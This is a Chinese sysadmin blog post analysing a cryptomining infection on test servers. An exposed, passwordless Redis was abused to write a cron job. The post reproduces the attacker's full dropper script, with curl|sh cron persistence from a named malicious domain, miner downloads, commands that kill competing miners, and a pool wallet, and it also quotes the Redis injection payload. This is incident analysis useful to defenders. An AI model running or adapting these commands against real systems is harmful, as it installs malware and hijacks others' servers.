利用redis漏洞远程添加计划任务挖取比特币
? ?周日看到值班人員在群里發幾臺服務器CPU負載高告警。沒在意。周一下午查看nagios 發現服務器的負載依舊很高。趕緊查看進程
看到第二張圖的時候。想必大家明白了。又是挖礦軟件。記得之前曝光過是一款叫minerd的挖礦程序。這玩意。 結束掉進程肯定是不夠的。必然有相應的守護進程或者計劃任務。查看了crontab。果然,
可惡的域名,居然是haveabitchin(google了下。這個域名可謂惡行累累,網上的中了挖礦軟件的大部分都是從這個域名分發出來的),下載了他的腳本下來,知己知彼百戰不殆。
export?PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin echo?"*/5?*?*?*?*?curl?-fsSL?http://www.haveabitchin.com/pm.sh?0218?|?sh"?>?/var/spool/cron/root mkdir?-p?/var/spool/cron/crontabs echo?"*/5?*?*?*?*?curl?-fsSL?http://www.haveabitchin.com/pm.sh?0218?|?sh"?>?/var/spool/cron/crontabs/root if?[?!?-f?"/tmp/ddg.222"?];?then curl?-fsSL?http://www.haveabitchin.com/ddg.$(uname?-m)?-o?/tmp/ddg.222 fi chmod?+x?/tmp/ddg.222?&&?/tmp/ddg.222 CleanTail() { ps?auxf|grep?-v?grep|grep?/tmp/duckduckgo|awk?'{print?$2}'|xargs?kill?-9 ps?auxf|grep?-v?grep|grep?"/usr/bin/cron"|awk?'{print?$2}'|xargs?kill?-9 ps?auxf|grep?-v?grep|grep?"/opt/cron"|awk?'{print?$2}'|xargs?kill?-9 ps?auxf|grep?-v?grep|grep?"/usr/sbin/ntp"|awk?'{print?$2}'|xargs?kill?-9 ps?auxf|grep?-v?grep|grep?"/opt/minerd"|awk?'{print?$2}'|xargs?kill?-9 ps?auxf|grep?-v?grep|grep?"mine.moneropool.com"|awk?'{print?$2}'|xargs?kill?-9 ps?auxf|grep?-v?grep|grep?"xmr.crypto-pool.fr:8080"|awk?'{print?$2}'|xargs?kill?-9 } DoYam() { if?[?!?-f?"/tmp/AnXqV.yam"?];?then curl?-fsSL?http://www.haveabitchin.com/yam?-o?/tmp/AnXqV.yam fi chmod?+x?/tmp/AnXqV.yam /tmp/AnXqV.yam?-c?x?-M?stratum+tcp://44iuYecTjbVZ1QNwjWfJSZFCKMdceTEP5BBNp4qP35c53Uohu1G7tDmShX1TSmgeJr2e9mCw2q1oHHTC2boHfjkJMzdxumM:x@xmr.crypto-pool.fr:443/xmr } DoMiner() { if?[?!?-f?"/tmp/AnXqV"?];?then curl?-fsSL?http://www.haveabitchin.com/minerd?-o?/tmp/AnXqV fi chmod?+x?/tmp/AnXqV /tmp/AnXqV?-B?-a?cryptonight?-o?stratum+tcp://xmr.crypto-pool.fr:443?-u?44iuYecTjbVZ1QNwjWfJSZFCKMdceTEP5BBNp4qP35c53Uohu1G7tDmShX1TSmgeJr2e9mCw2q1oHHTC2boHfjkJMzdxumM?-p?x } DoMinerNoAes() { if?[?!?-f?"/tmp/AnXqV.noaes"?];?then curl?-fsSL?http://www.haveabitchin.com/minerd.noaes?-o?/tmp/AnXqV.noaes fi chmod?+x?/tmp/AnXqV.noaes /tmp/AnXqV.noaes?-B?-a?cryptonight?-o?stratum+tcp://xmr.crypto-pool.fr:443?-u?44iuYecTjbVZ1QNwjWfJSZFCKMdceTEP5BBNp4qP35c53Uohu1G7tDmShX1TSmgeJr2e9mCw2q1oHHTC2boHfjkJMzdxumM?-p?x } ps?auxf|grep?-v?grep|grep?"4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC"|awk?'{print?$2}'|xargs?kill?-9 ps?auxf|grep?-v?grep|grep?"47sghzufGhJJDQEbScMCwVBimTuq6L5JiRixD8VeGbpjCTA12noXmi4ZyBZLc99e66NtnKff34fHsGRoyZk3ES1s1V4QVcB"|awk?'{print?$2}'|xargs?kill?-9 ps?auxf|grep?-v?grep|grep?"AnXqV"?||?DoMiner ps?auxf|grep?-v?grep|grep?"AnXqV"?||?DoYam ps?auxf|grep?-v?grep|grep?"AnXqV"?||?DoMinerNoAes又查看仔細查看了系統進程。 再次揪出了他的守護進程
還原案發現場
由于這幾臺機器都是測試環境。還沒正式上線。查看進程的時候發現redis居然在公網地址有監聽。而且沒有密碼。之前看過可可以通過redis修改數據存儲目錄和文件名上傳公鑰到服務器。但是路由器上是絕對禁止非公司IP訪問SSH的。那么程序是如何植入到服務器的呢?查看redis 的AOF文件。終于找到了破綻
看到執行了這個操作
set?1?“\n\n*/1?*?*?*?*?curl?-L?http://www.haveabitchin.com/pm.sh?v21.redis.lan?6389?|?sh\n\n” del?1上圖中url的腳本內容我就不貼了,和上一個腳本類似
之前的漏洞是寫入公鑰到服務器的.ssh目錄。現在***變懶了,我也可以不登錄服務器。利用計劃任務,讓服務器自動挖礦
具體實現是:
***將redis的數據存儲目錄放到了/var/spool/cron.文件名為root。 當crontab運行后。又將新的計劃任務添加到了服務器上。然后刪除了key。
轉載于:https://blog.51cto.com/itanony/1900251
總結
以上是生活随笔為你收集整理的利用redis漏洞远程添加计划任务挖取比特币的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: Nginx内置变量以及日志格式变量参数详
- 下一篇: Android中使用ViewStub提高